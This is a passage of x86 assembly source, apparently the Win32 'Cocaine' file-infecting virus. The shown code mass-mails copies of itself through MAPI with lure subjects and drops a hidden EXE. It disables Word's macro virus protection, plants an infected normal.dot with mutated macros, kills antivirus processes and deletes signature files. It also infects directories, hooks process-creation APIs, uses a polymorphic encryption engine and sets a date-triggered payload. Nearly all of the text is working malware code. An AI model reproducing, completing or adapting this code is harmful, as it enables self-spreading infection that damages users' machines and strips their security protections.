push esi
sub ecx, ecx
cld
@@1strlen:
lodsb
test al, al
jz @@2strlen
inc ecx
jmp @@1strlen
@@2strlen:
mov edi, ecx
pop esi

call CRC32
mov [ebp+(ofs email_crc-ofs vcode)], eax

call CheckList
test eax, eax
jnz @@done

IF MAIL_DEBUG EQ TRUE
sub ecx, ecx
push 4 ;yes/no
lea eax, [ebp+(ofs title1-ofs vcode)]
push eax
lea eax, [ebp+(ofs email-ofs vcode)]
push eax
push ecx
call [ebp+(ofs _MessageBoxA-ofs vcode)]
cmp eax, 7 ;no!
je @@done
ENDIF
COKE.ASM

lea eax, [ebp+(ofs mapi-ofs vcode)]


push eax
call [ebp+(ofs _LoadLibraryA-ofs vcode)]
test eax, eax
jz @@done

mov [ebp+(ofs _mapi-ofs vcode)], eax

lea ecx, [ebp+(ofs sMAPISendMail-ofs vcode)]


push ecx
push eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
test eax, eax
jz @@unload_mapi

mov [ebp+(ofs _MAPISendMail-ofs vcode)], eax

call OpenAncev
jc @@file ;file dont exists, binary send
@@doc:
call GetTemplateDir
@@1:
lodsb
test al, al
jnz @@1
lea edi, [esi-1]
lea esi, [ebp+(ofs ndot-ofs vcode)]
@@3:
lodsb
stosb
test al, al
jnz @@3
lea esi, [ebp+(ofs directory-ofs vcode)]
push 80h
push esi
call [ebp+(ofs _SetFileAttributesA-ofs vcode)]
test eax, eax
jz @@file
mov edx, 'COD.'
jmp @@attach

@@file:
call CreateDropper
mov eax, [ebp+(ofs mm_on_off-ofs vcode)]
push eax ;buffer
mov eax, [ebp+(ofs fsizel-ofs vcode)]
push eax ;size
lea edi, [ebp+(ofs directory-ofs vcode)]
push edi
lea esi, [ebp+(ofs shitfile-ofs vcode)]
@@4:
lodsb
stosb
test al, al
jnz @@4
mov dwo [ebp+(ofs wd_att-ofs vcode)], 82h
call WriteDump ;hidden dump
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs mm_on_off-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)]
COKE.ASM

mov edx, 'EXE.'

@@attach:

DATA_SIZE = size MapiMessage + ((size MapiRecipDesc)*2) + size MapiFileDesc

mapimsg = 0
origin = mapimsg + size MapiMessage
destin = origin + size MapiRecipDesc
file = destin + size MapiRecipDesc

sub eax, eax


mov ecx, DATA_SIZE
sub esp, ecx
mov edi, esp
mov esi, edi
rep stosb ;clear buffers we'll use

lea eax, [esi+origin]


mov [esi.mapimsg.lpOriginator], eax
lea eax, [esi+destin]
mov [esi.mapimsg.lpRecips], eax
lea eax, [esi+file]
mov [esi.mapimsg.lpFiles], eax

push 1
pop eax
mov [esi.mapimsg.nFileCount], eax
mov [esi.mapimsg.nRecipCount], eax
mov [esi.destin.ulRecipClass], eax
inc eax
mov [esi.mapimsg.flags], eax
lea eax, [ebp+(ofs email-ofs vcode)]
mov [esi.destin.lpszName], eax
mov [esi.destin.lpszAddress], eax
lea eax, [ebp+(ofs directory-ofs vcode)]
mov [esi.file.lpszPathName], eax

lea edi, [ebp+(ofs fname-ofs vcode)]


mov [esi.file.lpszFileName], edi
call MakeVar
mov eax, edx
stosd
sub eax, eax
stosb

mov eax, [ebp+(ofs subject-ofs vcode)]


mov [esi.mapimsg.lpszSubject], eax

call @@1aa
db '', 0
@@1aa:
pop [esi.mapimsg.lpszNoteText]

sub eax, eax


push eax
push eax
push esi
push eax
push eax
call [ebp+(ofs _MAPISendMail-ofs vcode)]
test eax, eax
COKE.ASM

jnz @@33

sub eax, eax


mov [ebp+(ofs mm_on_off-ofs vcode)], eax

call InsertList

@@33:
add esp, DATA_SIZE

lea eax, [ebp+(ofs shitfile-ofs vcode)]


push eax
call DeleteShitFile

@@unload_mapi:
mov eax, [ebp+(ofs _mapi-ofs vcode)]
call [ebp+(ofs _FreeLibrary-ofs vcode)]
@@done:
sub eax, eax
mov [ebp+(ofs email_w-ofs vcode)], eax
@@no_queued:
push MAIL_PRIORITY*1000
call [ebp+(ofs _Sleep-ofs vcode)]
jmp @@main_loop
MailThread endp

GetTemplateDir proc
call @@2
db 'SOFTWARE\Microsoft\Office\8.0\Common\FileNew\LocalTemplates', 0
@@2:
pop eax
call ConsultKey
ret
GetTemplateDir endp

CreateDropper proc
push 00000040h
push 00002000h+00001000h+00100000h
push 48*1024
push 0
call [ebp+(ofs _VirtualAlloc-ofs vcode)]
mov [ebp+(ofs mm_on_off-ofs vcode)], eax
sub edi, edi
xchg edi, eax
call @@1
@@0:
dbNUL04Dh, 05Ah, 050h, 000h, 000h, 000h, 002h, 000h
dbNUL002h, 000h, 004h, 000h, 000h, 000h, 00Fh, 000h
dbNUL000h, 000h, 0FFh, 0FFh, 000h, 001h, 000h, 0B8h
dbNUL000h, 006h, 000h, 040h, 000h, 000h, 000h, 01Ah
dbNUL000h, 021h, 000h, 001h, 000h, 001h, 000h, 0BAh
dbNUL010h, 000h, 000h, 000h, 00Eh, 01Fh, 0B4h, 009h
dbNUL0CDh, 021h, 0B8h, 001h, 04Ch, 0CDh, 021h, 090h
dbNUL090h, 054h, 068h, 069h, 073h, 020h, 070h, 072h
dbNUL06Fh, 067h, 072h, 061h, 06Dh, 020h, 06Dh, 075h
dbNUL073h, 074h, 020h, 062h, 065h, 020h, 072h, 075h
dbNUL06Eh, 020h, 075h, 06Eh, 064h, 065h, 072h, 020h
dbNUL057h, 069h, 06Eh, 033h, 032h, 00Dh, 00Ah, 024h
dbNUL037h, 000h, 087h, 000h, 050h, 045h, 000h, 001h
dbNUL000h, 04Ch, 001h, 004h, 000h, 000h, 000h, 074h
dbNUL025h, 0F5h, 00Eh, 000h, 007h, 000h, 0E0h, 000h
dbNUL000h, 000h, 08Eh, 081h, 00Bh, 001h, 002h, 019h
COKE.ASM

dbNUL000h, 000h, 000h, 002h, 000h, 002h, 000h, 006h


dbNUL000h, 006h, 000h, 010h, 000h, 002h, 000h, 010h
dbNUL000h, 002h, 000h, 020h, 000h, 003h, 000h, 040h
dbNUL000h, 001h, 000h, 010h, 000h, 002h, 000h, 002h
dbNUL000h, 001h, 000h, 001h, 000h, 006h, 000h, 003h
dbNUL000h, 000h, 000h, 00Ah, 000h, 005h, 000h, 050h
dbNUL000h, 002h, 000h, 004h, 000h, 005h, 000h, 002h
dbNUL000h, 004h, 000h, 010h, 000h, 001h, 000h, 020h
dbNUL000h, 003h, 000h, 010h, 000h, 001h, 000h, 010h
dbNUL000h, 005h, 000h, 010h, 000h, 00Bh, 000h, 030h
dbNUL000h, 001h, 000h, 054h, 000h, 01Bh, 000h, 040h
dbNUL000h, 001h, 000h, 00Ch, 000h, 052h, 000h, 043h
dbNUL04Fh, 044h, 045h, 000h, 004h, 000h, 002h, 000h
dbNUL002h, 000h, 010h, 000h, 002h, 000h, 002h, 000h
dbNUL002h, 000h, 006h, 000h, 00Dh, 000h, 020h, 000h
dbNUL001h, 000h, 060h, 044h, 041h, 054h, 041h, 000h
dbNUL004h, 000h, 002h, 000h, 002h, 000h, 020h, 000h
dbNUL002h, 000h, 002h, 000h, 002h, 000h, 008h, 000h
dbNUL00Dh, 000h, 040h, 000h, 001h, 000h, 0C0h, 02Eh
dbNUL069h, 064h, 061h, 074h, 061h, 000h, 002h, 000h
dbNUL002h, 000h, 002h, 000h, 030h, 000h, 002h, 000h
dbNUL002h, 000h, 002h, 000h, 00Ah, 000h, 00Dh, 000h
dbNUL040h, 000h, 001h, 000h, 0C0h, 02Eh, 072h, 065h
dbNUL06Ch, 06Fh, 063h, 000h, 002h, 000h, 002h, 000h
dbNUL002h, 000h, 040h, 000h, 002h, 000h, 002h, 000h
dbNUL002h, 000h, 00Ch, 000h, 00Dh, 000h, 040h, 000h
dbNUL001h, 000h, 050h, 000h, 067h, 003h, 06Ah, 000h
dbNUL000h, 000h, 0E8h, 000h, 003h, 000h, 0FFh, 025h
dbNUL030h, 030h, 040h, 000h, 0F3h, 003h, 028h, 030h
dbNUL000h, 009h, 000h, 038h, 030h, 000h, 001h, 000h
dbNUL030h, 030h, 000h, 015h, 000h, 046h, 030h, 000h
dbNUL005h, 000h, 046h, 030h, 000h, 005h, 000h, 04Bh
dbNUL045h, 052h, 04Eh, 045h, 04Ch, 033h, 032h, 02Eh
dbNUL064h, 06Ch, 06Ch, 000h, 003h, 000h, 045h, 078h
dbNUL069h, 074h, 050h, 072h, 06Fh, 063h, 065h, 073h
dbNUL073h, 000h, 0ADh, 001h, 010h, 000h, 001h, 000h
dbNUL00Ch, 000h, 002h, 000h, 009h, 030h
@@1:
pop esi
mov ecx, ofs @@1-ofs @@0
@@2:
lodsb
stosb
test al, al
jnz @@3
dec ecx
dec ecx
lodsw
push ecx
xor ecx, ecx
xchg ecx, eax
jecxz @@4
rep stosb
@@4:
pop ecx
@@3:
loop @@2
mov [ebp+(ofs fsizeh-ofs vcode)], ecx
mov dwo [ebp+(ofs fsizel-ofs vcode)], 4096
call Infect
ret
CreateDropper endp
COKE.ASM

random_f proc
push eax
call random0
pop eax
ret
random_f endp

macro_start equ this byte

include ndot.inc

MacroSpread proc
sub ecx, ecx
call @@set_seh
mov esp, [esp+8]
call delta
jmp @@0
@@set_seh:
push dwo fs:[ecx]
mov fs:[ecx], esp

call OpenAncev
jc @@1 ;dont exists, macro spread
mov eax, 10
call random
or eax, eax ;just in case that we are
jnz @@0 ;reinfecting
@@1:
call @@2
@@1v dd 0
@@2:
push 000F003Fh ;KEY_ALL_ACCESS
push 0
call @@3
db 'SOFTWARE\Microsoft\Office\8.0\Word\Options', 0
@@3:
push 80000001H ;HKEY_CURRENT_USER
call [ebp+(ofs _RegOpenKeyEx-ofs vcode)]
test eax, eax
jnz @@0
push 1 ;size
call @@4
db '0', 0
@@4:
push 1 ;type
push 0
call @@5
db 'EnableMacroVirusProtection', 0 ;key entry
@@5:
push dwo [ebp+(ofs @@1v-ofs vcode)]
call [ebp+(ofs _RegSetValueEx-ofs vcode)]
push dwo [ebp+(ofs @@1v-ofs vcode)]
call [ebp+(ofs _RegCloseKey-ofs vcode)] ;close key
call GetTemplateDir
cld
push esi
@@6:
lodsb
test al, al
jnz @@6
lea edi, [esi-1]
COKE.ASM

lea esi, [ebp+(ofs ndot-ofs vcode)]


@@8:
lodsb
stosb
test al, al
jnz @@8
call DeleteShitFile
push 00000040h
push 00002000h+00001000h+00100000h
push 48*1024
push 0
call [ebp+(ofs _VirtualAlloc-ofs vcode)];alloc memory for my normal.dot
mov [ebp+(ofs mm_on_off-ofs vcode)], eax
lea eax, [ebp+(ofs normaldot-ofs vcode)]
push eax
push normaldot_size
mov eax, [ebp+(ofs mm_on_off-ofs vcode)]
push eax
lea eax, [ebp+(ofs normaldot_sized-ofs vcode)]
push eax
call lzrw1_decompress ;unpack normaldot
mov eax, [ebp+(ofs mm_on_off-ofs vcode)]
push eax
mov eax, [ebp+(ofs normaldot_sized-ofs vcode)]
push eax
lea eax, [ebp+(ofs directory-ofs vcode)]
push eax ;dump not hidden
mov dwo [ebp+(ofs wd_att-ofs vcode)], 80h
call WriteDump ;create/write new normal.dot
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs mm_on_off-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)] ;free memory from normal.dot
call CreateDropper
push 00000040h
push 00002000h+00001000h+00100000h
push 150*1024
push 0
call [ebp+(ofs _VirtualAlloc-ofs vcode)]
mov [ebp+(ofs dbgscript-ofs vcode)], eax
mov edi, eax
push eax
mov esi, [ebp+(ofs mm_on_off-ofs vcode)]
mov ecx, dwo [ebp+(ofs fsizel-ofs vcode)]
call script ;make debug script
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs mm_on_off-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)] ;free memory from EXE dropper
pop eax
sub edi, eax
mov [ebp+(ofs dbgscript_size-ofs vcode)], edi
push 00000040h
push 00002000h+00001000h+00100000h
push 4*1024
push 0
call [ebp+(ofs _VirtualAlloc-ofs vcode)] ;alloc memory for macro text
mov [ebp+(ofs mm_on_off-ofs vcode)], eax
lea eax, [ebp+(ofs macros-ofs vcode)]
push eax
push macro_size
mov eax, [ebp+(ofs mm_on_off-ofs vcode)]
COKE.ASM

push eax
lea eax, [ebp+(ofs macro_sized-ofs vcode)]
push eax
call lzrw1_decompress ;unpack normaldot
mov ecx, [ebp+(ofs macro_sized-ofs vcode)]
mov esi, [ebp+(ofs mm_on_off-ofs vcode)]
lea edi, [esi+ecx+4] ;edi=buffer for vars
mov [ebp+(ofs variables-ofs vcode)], edi
mov ebx, edi
@@9:
lodsb
cmp al, 'A'
jb @@10
cmp al, 'Z'
ja @@10
call random_f
jc @@10
sub al, 'A'-'a'
@@10:
mov [esi-1], al
loop @@9
mov ecx, 10 ;generate variables
@@13:
push ecx
mov eax, 8 ;lenght of the name of variable
call random
inc eax
inc eax
mov ecx, eax
@@12:
mov eax, 'Z'-'A'
call random
add al, 'A'
call random_f
jc @@11
sub al, 'A'-'a'
@@11:
stosb
loop @@12
sub eax, eax
stosb
pop ecx
loop @@13 ;next variable
push 00000040h
push 00002000h+00001000h+00100000h
push 4*1024
push 0
call [ebp+(ofs _VirtualAlloc-ofs vcode)] ;alloc memory for macro text
push eax
mov edi, eax
mov esi, [ebp+(ofs mm_on_off-ofs vcode)]
@@14:
lodsb
cmp al, '%'
jne @@18
lodsb
sub al, '0'
push ebx
push esi
movzx ecx, al
mov esi, ebx
@@15:
COKE.ASM

lodsb
test al, al
jnz @@15
loop @@15
@@16:
lodsb
test al, al
jz @@17
stosb
jmp @@16
@@17:
pop esi
pop ebx
mov al, 12h
org $-1
@@18:
stosb
lea eax, [ebx-4]
cmp esi, eax
jb @@14
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs mm_on_off-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)] ;free mem macro code (unprocess)
mov ecx, edi
pop esi
sub ecx, esi
push ecx
mov [ebp+(ofs mm_on_off-ofs vcode)], esi
push 00000040h
push 00002000h+00001000h+00100000h
push 150*1024
push 0
call [ebp+(ofs _VirtualAlloc-ofs vcode)] ;alloc memory for macro text
sub ecx, ecx
sub ebx, ebx
mov edi, eax
xchg eax, [esp]
xchg eax, ecx
add ecx, [ebp+(ofs mm_on_off-ofs vcode)];ecx=limit of macro template
mov by [ebp+(ofs mdeep-ofs vcode)], -1
@@19:
mov esi, [ebp+(ofs mm_on_off-ofs vcode)]
inc ah
cmp ah, 2
jne @@20
mov by [ebp+(ofs mdeep-ofs vcode)], 0
@@20:
cmp ah, 8
jne @@21
mov by [ebp+(ofs mdeep-ofs vcode)], -1
@@21:
cmp ah, 6
jne @@22
mov esi, [ebp+(ofs dbgscript-ofs vcode)]
push ecx
mov ecx, [ebp+(ofs dbgscript_size-ofs vcode)]
rep movsb
pop ecx
call MacroGarble
jmp @@19
@@22:
COKE.ASM

cmp ah, 9
je @@28
@@23:
cmp esi, ecx
jb @@24 ;all buffer scanned?
test ebx, ebx
jz @@19 ;nothing we was searching exists
mov esi, [ebp+(ofs mm_on_off-ofs vcode)];it exists, but we skipped!
sub ebx, ebx
@@24:
lodsb
cmp al, ah
jne @@27 ;find line we're searching
inc ebx ;flag found
push eax
mov ax, 100
call random
cmp eax, 33 ;1/3
pop eax
jnb @@27 ;skip this time
mov by [esi-1], 9 ;flag as done
@@25:
lodsb
test al, al
jz @@26
stosb
cmp al, 10
jne @@25
call MacroGarble ;after CRLF, insert garbage
jmp @@25
@@26:
jmp @@23
@@27:
lodsb
test al, al
jnz @@27 ;seek till next line
jmp @@23
@@28:
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs mm_on_off-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)] ;free memory from macro code
mov eax, [esp] ;get buffer from stack
push eax
sub edi, eax
push edi
lea eax, [ebp+(ofs cokefile-ofs vcode)]
push eax
mov dwo [ebp+(ofs wd_att-ofs vcode)], 82h
call WriteDump ;create/write new normal.dot
pop eax ;buffer
push 00004000h+00008000h
push 0
push eax
call [ebp+(ofs _VirtualFree-ofs vcode)] ;free memory from complete code
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs dbgscript-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)] ;free memory from debug script
@@0:
sub ecx, ecx
pop dwo fs:[ecx]
COKE.ASM

pop ecx
sub eax, eax
mov dwo [ebp+(ofs mm_on_off-ofs vcode)], eax
add al, '0'
mov by [ebp+(ofs dmt1-ofs vcode)], al
mov by [ebp+(ofs dmt2-ofs vcode)+7], al
mov by [ebp+(ofs outcmd-ofs vcode)+7], al
mov by [ebp+(ofs ssize-ofs vcode)+7], al
mov by [ebp+(ofs coda-ofs vcode)+7], al
mov by [ebp+(ofs dmt3-ofs vcode)+7], al
mov by [ebp+(ofs dmt4-ofs vcode)+7], al
mov by [ebp+(ofs dmt5-ofs vcode)+7], al
ret
MacroSpread endp

MacroGarble proc
push eax
push ecx
push esi
cmp by [ebp+(ofs mdeep-ofs vcode)], MAX_M_DEEP
jae @@0
inc by [ebp+(ofs mdeep-ofs vcode)]
mov eax, 4
call random
add eax, 2
mov ecx, eax
@@1:
push ecx
@@2:
mov eax, 16
call random
cmp al, 10
je @@remark
cmp al, 11
je @@for
cmp al, 12
je @@variables
cmp al, 13
je @@if
cmp al, 14
je @@10
jmp @@2
@@if:
mov eax, ' fI'
stosd
dec edi
call MakeVar
mov eax, ' = '
call random_f
jc @@3
dec ah
call random_f
jc @@3
inc ah
inc ah
@@3:
stosd
dec edi
call MakeVar
mov eax, 'ehT '
stosd
mov eax, 000a0d00h+'n'
COKE.ASM

stosd
dec edi
call MacroGarble
call @@4
db 'End If', 13, 10
@@4:
pop esi
movsd
movsd
jmp @@10
@@remark:
call random_f
jc @@5
mov al, "'"
stosb
jmp @@6
@@5:
mov eax, ' meR'
stosd
@@6:
call MakeVar
call MakeVar
@@7:
mov ax, 0a0dh
stosw
jmp @@10
@@variables:
call MakeVar
call random_f
jc @@string
mov eax, ' = '
stosd
dec edi
call MakeNumber
@@8:
jmp @@7
@@string:
call MakeVar
mov eax, ' = $'
stosd
mov al, '"'
stosb
call MakeVar
mov al, '"'
stosb
jmp @@8
@@for:
mov eax, ' roF'
stosd
push edi
call MakeVar
mov eax, ' = '
stosd
dec edi
call MakeNumber
mov eax, ' oT '
stosd
call MakeNumber
mov ax, 0a0dh
stosw
call MacroGarble
mov eax, 'txeN'
COKE.ASM

stosd
mov al, ' '
stosb
pop esi
@@9:
lodsb
cmp al, ' '
je @@8
stosb
jmp @@9
@@10:
pop ecx
dec ecx
jnz @@1
dec by [ebp+(ofs mdeep-ofs vcode)]
@@0:
pop esi
pop ecx
pop eax
ret
MacroGarble endp

MakeNumber proc
push ecx
push eax
mov eax, 2
call random
inc eax
mov ecx, eax
@@1:
mov eax, '9'-'0'
call random
add al, '0'
stosb
loop @@1
pop eax
pop ecx
ret
MakeNumber endp

include lz.inc

include macro.inc

update_address proc
push eax ecx
db 0b8h
addr dd 0 ;get address to eax
mov ecx, 4
@@1:
rol ax, 4
call mhex ;print hex digits
loop @@1
add dwo [ebp+(ofs addr-ofs vcode)], 10h ;update address
pop ecx eax
ret
update_address endp

mhex proc
push eax ebx
and eax, 01111b ;lower nibble
call $+21
COKE.ASM

db '0123456789ABCDEF'
pop ebx
xlat ;turn it in hex digit
stosb
pop ebx eax
ret
mhex endp

copy_line proc
push eax
@@0:
lodsb
or al, al
jz @@1 ;zero found, stop copy
stosb
jmp @@0
@@1:
pop eax
ret
copy_line endp

make_hex proc
push eax ecx esi
db 0b8h+6
iaddr dd 0 ;esi<->actual buffer position
inc dwo [ebp+(ofs iaddr-ofs vcode)] ;set next
mov al, 20h
stosb ;print space
lodsb
rol al, 4
call mhex ;print upper nibble
rol al, 4
call mhex ;print lower nibble
pop esi ecx eax
loop make_hex
ret
make_hex endp

script proc
cld
call debugmutator
mov dwo [ebp+(ofs addr-ofs vcode)], 0100h
mov [ebp+(ofs iaddr-ofs vcode)], esi ;set vars
lea esi, [ebp+(ofs intro-ofs vcode)]
call copy_line ;copy intro code
mov eax, 16
cdq
xchg eax, ecx
div ecx ;ecx=number of 16-bytes lines
mov ecx, eax ;edx=remainder for last line
@@0:
push ecx
lea esi, [ebp+(ofs outcmd-ofs vcode)]
call copy_line ;print
call update_address ;address
mov ecx, 16
call make_hex ;code to assemble
mov eax, 000A0D00h+'"'
stosd ;next line
dec edi
pop ecx
loop @@0
COKE.ASM

mov ecx, edx


jecxz @@1 ;no remainder?
lea esi, [ebp+(ofs outcmd-ofs vcode)]
call copy_line
call update_address ;make last line
call make_hex
mov eax, 000A0D00h+'"'
stosd
dec edi
sub wo [ebp+(ofs addr-ofs vcode)], 10h ;undo damage
@@1:
lea esi, [ebp+(ofs ssize-ofs vcode)]
call copy_line ;rcx
add wo [ebp+(ofs addr-ofs vcode)], dx
sub wo [ebp+(ofs addr-ofs vcode)], 100h
lea esi, [ebp+(ofs ssize-ofs vcode)]
call copy_line ;optimization!
sub edi, 6
call update_address ;set size
mov eax, 000A0D00h+'"'
stosd
dec edi
lea esi, [ebp+(ofs coda-ofs vcode)] ;copy final shit
call copy_line
ret
script endp

dbgscript dd 0

dbgscript_size dd 0

intro db 'Open "C:\COCAINE.SRC" For OutPut As '


dmt1 db '0', 13, 10
dmt2 db 'Print #0, "N C:\W32COKE.EX"',13,10,0

outcmd db 'Print #0, "E ',0

ssize db 'Print #0, "RCX"', 13, 10, 0

coda db 'Print #0, "W"', 13, 10


dmt3 db 'Print #0, "Q"', 13, 10
dmt4 db 'Print #0, ""', 13, 10
dmt5 db 'Close #0', 13, 10, 0

debugmutator proc
pushad
mov eax, 9
call random
inc eax
add by [ebp+(ofs dmt1-ofs vcode)], al
add by [ebp+(ofs dmt2-ofs vcode)+7], al
add by [ebp+(ofs outcmd-ofs vcode)+7], al
add by [ebp+(ofs ssize-ofs vcode)+7], al
add by [ebp+(ofs coda-ofs vcode)+7], al
add by [ebp+(ofs dmt3-ofs vcode)+7], al
add by [ebp+(ofs dmt4-ofs vcode)+7], al
add by [ebp+(ofs dmt5-ofs vcode)+7], al
popad
ret
debugmutator endp

macro_end equ this byte


COKE.ASM

MakeVar proc
push ecx
push eax
mov eax, 5
call random
add eax, 4
mov ecx, eax
@@1:
mov al, 'Z'-'A'
call random
add al, 'A'
call random_f
jc @@2
sub al, 'A'-'a'
@@2:
stosb
push ecx
push edi
call @@3
db 'AaEeIiOoUu'
@@3:
pop edi
mov ecx, 10
repne scasb
jecxz @@4
dec dwo [esp-1]
@@4:
pop edi
pop ecx
loop @@1
stosb
pop eax
pop ecx
ret
MakeVar endp

PatchIT proc
push esi
lea edi, [esi+ecx] ;destination
mov ecx, 4
push eax
mov esi, esp ;fake buffer in stack
call WriteMem
pop esi ;remove shit
pop esi
ret
PatchIT endp

_base dd 400000h

NUM_TOPICS EQU 8

topics equ this byte


dd ofs t0-ofs vcode
dd ofs t0-ofs vcode
dd ofs t0-ofs vcode
dd ofs t1-ofs vcode
dd ofs t2-ofs vcode
dd ofs t3-ofs vcode
dd ofs t4-ofs vcode
dd ofs t5-ofs vcode
COKE.ASM

t0 db '', 0
t1 db 'Kewl page!', 0
t2 db 'Improvement to your page', 0
t3 db 'Your page r0x0r!', 0
t4 db 'You must see this...', 0
t5 db 'Secret stuff!', 0

;ESI=Code to encript (Big enought; Swappable)


;EDI=Place to put code (Big enought; Swappable)
;ECX=Size of code to encript
;EAX=Delta entrypoint
;EDX=VA where code will run in host
;
;EDI=Final buffer
;ECX=Size
;EAX=New delta entrypoint
mutate proc
cld
push eax
call crypt_poly ;decript engine
mov [ebp+(ofs rva-ofs vcode)], edx
call random0
mov [ebp+(ofs cp_key-ofs vcode)], al ;next memory key
mov eax, [ebp+(ofs seed-ofs vcode)]
mov [ebp+(ofs pseed-ofs vcode)], eax
mov eax, 3
call random
push 2
pop ebx
add ebx, eax
or bl, 1
pop eax
@@1:
push ebx
call poly
xchg esi, edi ;permute bufferz
pop ebx
dec ebx
jnz @@1 ;next loop
xchg esi, edi
call crypt_poly ;encript poly engine after use
ret
mutate endp

crypt_poly proc
pushad
mov al, by [ebp+(ofs cp_key-ofs vcode)]
mov ecx, ofs egtable-ofs poly
lea esi, [ebp+(ofs poly-ofs vcode)]
@@1:
xor by [esi], al
inc esi
loop @@1
popad
ret
crypt_poly endp

rbuf db MAX_BRANCH*(128+4+4) dup (0)

vinit proc
COKE.ASM

mov esp, [esp+8]


call delta
lea eax, [ebp+(ofs seh-ofs vcode)]
mov [esp-4], eax
call init ;get api entries
jc @@3
sub eax, eax
mov ecx, MAX_SOCK+1
lea edi, [ebp+(ofs _socket-ofs vcode)]
rep stosd
mov [ebp+(ofs email_w-ofs vcode)], eax
mov [ebp+(ofs mm_on_off-ofs vcode)], eax
mov [ebp+(ofs mdeep-ofs vcode)], al
lea eax, [ebp+(ofs kernel-ofs vcode)]
push eax
call [ebp+(ofs _GetModuleHandle-ofs vcode)]
mov [ebp+(ofs K32-ofs vcode)], eax ;save kernel32 base
lea esi, [ebp+(ofs k32_names-ofs vcode)]
lea edi, [ebp+(ofs k32_address-ofs vcode)]
@@1:
lodsd
or eax, eax
jz @@2
add eax, ebp
call gpa_kernel32 ;get all api we want from k32
jc @@3
stosd
jmp @@1
db 0b9h
@@2:
lea eax, [ebp+(ofs user-ofs vcode)]
push eax
call [ebp+(ofs _LoadLibraryA-ofs vcode)]
mov [ebp+(ofs U32-ofs vcode)], eax ;save user base
@@4:
lodsd
or eax, eax
jz @@5
mov ebx, [ebp+(ofs U32-ofs vcode)]
add eax, ebp
call gpa_custom ;get all api we want again
jc @@3
stosd
jmp @@4
db 0eah
@@5:

call @@adf
db 'ADVAPI32',0
@@adf:
call [ebp+(ofs _LoadLibraryA-ofs vcode)]
call @@a11
db 'RegSetValueExA', 0
@@a11:
push eax
call @@aaa
db 'RegCreateKeyExA', 0
@@aaa:
push eax
call @@baa
db 'RegOpenKeyExA', 0
@@baa:
COKE.ASM

push eax
call @@caa
db 'RegQueryValueExA', 0
@@caa:
push eax
call @@d
db 'RegCloseKey', 0
@@d:
push eax ;retrieve all needed APIs
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _RegCloseKey-ofs vcode)], eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _RegQueryValueEx-ofs vcode)], eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _RegOpenKeyEx-ofs vcode)], eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _RegCreateKeyEx-ofs vcode)], eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _RegSetValueEx-ofs vcode)], eax

lea eax, [ebp+(ofs wavp-ofs vcode)]


sub ecx, ecx
push eax
push ecx
call [ebp+(ofs _FindWindowA-ofs vcode)]
or eax,eax
jz @@b
push ecx ;terminate AVPM using vg scheme
push ecx
push 16
push eax
call [ebp+(ofs _PostMessageA-ofs vcode)]
@@b:

lea eax, [ebp+(ofs shitfile-ofs vcode)]


push eax
call DeleteShitFile

call @@a1
db 'KERNEL.AVC', 0
@@a1:
call DeleteShitFile
call @@a2
db 'SIGN.DEF', 0
@@a2:
call DeleteShitFile
call @@a3
db 'FIND.DRV', 0
@@a3:
call DeleteShitFile
call @@a4
db 'NOD32.000', 0
@@a4:
call DeleteShitFile
call @@a5
db 'DSAVIO32.DLL', 0
@@a5:
call DeleteShitFile
call @@a6
db 'SCAN.DAT', 0
@@a6:
call DeleteShitFile
COKE.ASM

call @@a7
db 'VIRSCAN.DAT', 0
@@a7:
call DeleteShitFile

call @@a8
db 'C:\COCAINE.SRC', 0
@@a8:
call DeleteShitFile

lea ebx, [ebp+(ofs ancevsys-ofs vcode)]


push 83h
push ebx
call [ebp+(ofs _SetFileAttributesA-ofs vcode)]

lea esi, [ebp+(ofs current_time-ofs vcode)]


push esi
call [ebp+(ofs _GetSystemTime-ofs vcode)]
lea edi, [ebp+(ofs seed-ofs vcode)]
sub eax, eax
lodsw
lodsw ;init seed with dayofweek/day
movsd
push eax
sub al, MONTH_DELAY ;enougth time passed?
jnc @@6
add al, 12
@@6:
cmp by [ebp+(ofs FunDate-ofs vcode)], al
mov al, 90h
je @@7
add al, 0c3h-90h ;nop/ret flip
@@7:
mov by [ebp+(ofs Payload-ofs vcode)], al
pop eax
add al, MONTH_DELAY
aam 12 ;set trigger date
mov by [ebp+(ofs FunDate-ofs vcode)], al

call random0
mov [ebp+(ofs key1-ofs vcode)], eax
call random0
mov [ebp+(ofs key2-ofs vcode)], eax

call macro_crypt ;decript macro stuff

call MacroSpread

call random0
add by [ebp+(ofs macro_key-ofs vcode)], al
call macro_crypt ;encript macro stuff

lea edx, [ebp+(ofs directory-ofs vcode)]


push edx
push MAX_PATH
call [ebp+(ofs _GetCurrentDirectoryA-ofs vcode)]
test eax, eax
jz @@10
call ProcessDir
@@10:
IF DIRECT EQ TRUE
lea edx, [ebp+(ofs directory-ofs vcode)]
COKE.ASM

push MAX_PATH
push edx
call [ebp+(ofs _GetWindowsDirectoryA-ofs vcode)]
test eax, eax
jz @@11
call ProcessDir
@@11:
; lea edx, [ebp+(ofs directory-ofs vcode)]
; push MAX_PATH
; push edx
; call [ebp+(ofs _GetSystemDirectoryA-ofs vcode)]
; test eax, eax
; jz @@12
; call ProcessDir
; @@12:
ENDIF
mov esi, [ebp+(ofs _base-ofs vcode)]
@@a:
lea eax, [ebp+(ofs NewWinExec-ofs vcode)]
mov ecx, 0 ;hook per-process functionz
OldWinExec equ dwo $-4
jecxz @@8
call PatchIT
@@8:
lea eax, [ebp+(ofs NewCreateProcessA-ofs vcode)]
mov ecx, 0
